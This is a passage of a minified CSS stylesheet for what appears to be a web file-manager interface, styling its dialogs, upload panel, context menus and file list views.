#ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}#selContainer{position:absolute;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) - div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split 